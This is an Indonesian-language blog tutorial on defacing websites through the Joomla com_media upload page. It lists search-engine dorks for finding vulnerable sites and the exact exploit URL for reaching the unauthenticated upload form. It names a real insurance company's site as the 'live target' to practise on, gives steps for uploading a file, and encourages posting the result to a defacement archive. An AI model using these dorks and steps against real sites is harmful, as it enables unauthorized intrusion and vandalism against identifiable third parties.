Tutorial DEFACE COM_MEDIA

Tutorial-Tutorial

Monday 27 February 2017

Belum ada komentar

Bahan :

1. Dork : - inurl:com_media site:com
            - inurl:com_media intext:"Upload"

2. Exploit : /index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

3. Upload'an : Format .txt 😁

Live Target : http://www.james-insurance.co.uk/

Step by Step :

gunakan Live Targert dulu untuk Uji Coba 😁

1. Masukkan dork : inurl:com_media intext:"Upload" site:co.uk

2. Pilih salah satu Web

3. Masukkan Exploit
 http://www.james-insurance.co.uk/index.php?option=com_media&view=images&tmpl=component&fieldid=&e_name=jform_articletext&asset=com_content&author=&folder=

4. Lalu Upload file dalam tempat upload ( format .txt )

Akses shell ?

 Tambahkan : /images/namafile.txt

                       contoh : http://www.james-insurance.co.uk/images/fac.txt

Nanti Jadi Gini Hasilnyaa..

Mudah Bukan?! Tinggal Upload ke Defacer.id 😁